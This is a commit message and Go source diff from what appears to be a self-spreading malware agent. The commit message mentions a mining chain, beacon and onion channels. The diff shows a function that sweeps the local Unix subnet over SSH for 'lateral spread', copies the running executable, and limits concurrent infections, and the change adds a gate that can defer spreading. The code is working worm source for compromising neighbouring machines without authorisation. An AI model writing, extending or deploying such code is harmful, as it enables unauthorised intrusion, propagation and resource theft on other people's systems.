Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling

agent/deploy/autospread_unix.go

@@ -36,6 +36,9 @@ func StartAutoSpreader(cfg config.RuntimeConfig) {
 
 // RunSpreadOnce triggers an immediate SSH sweep (non-blocking).
 func RunSpreadOnce(cfg config.RuntimeConfig) string {
+	if ok, reason := AllowAutospread(cfg); !ok {
+		return "autospread deferred: " + reason
+	}
 	go spreadUnixSubnet(cfg)
 	return "unix lateral spread sweep started (SSH :22)"
 }
@@ -44,6 +47,11 @@ func RunSpreadOnce(cfg config.RuntimeConfig) string {
 var spreadSem = make(chan struct{}, 16)
 
 func spreadUnixSubnet(cfg config.RuntimeConfig) {
+	if ok, reason := AllowAutospread(cfg); !ok {
+		log.Printf("[autospread] spread deferred: %s", reason)
+		finishSpreadSweepImmediate()
+		return
+	}
 	exePath, err := os.Executable()
 	if err != nil {
 		return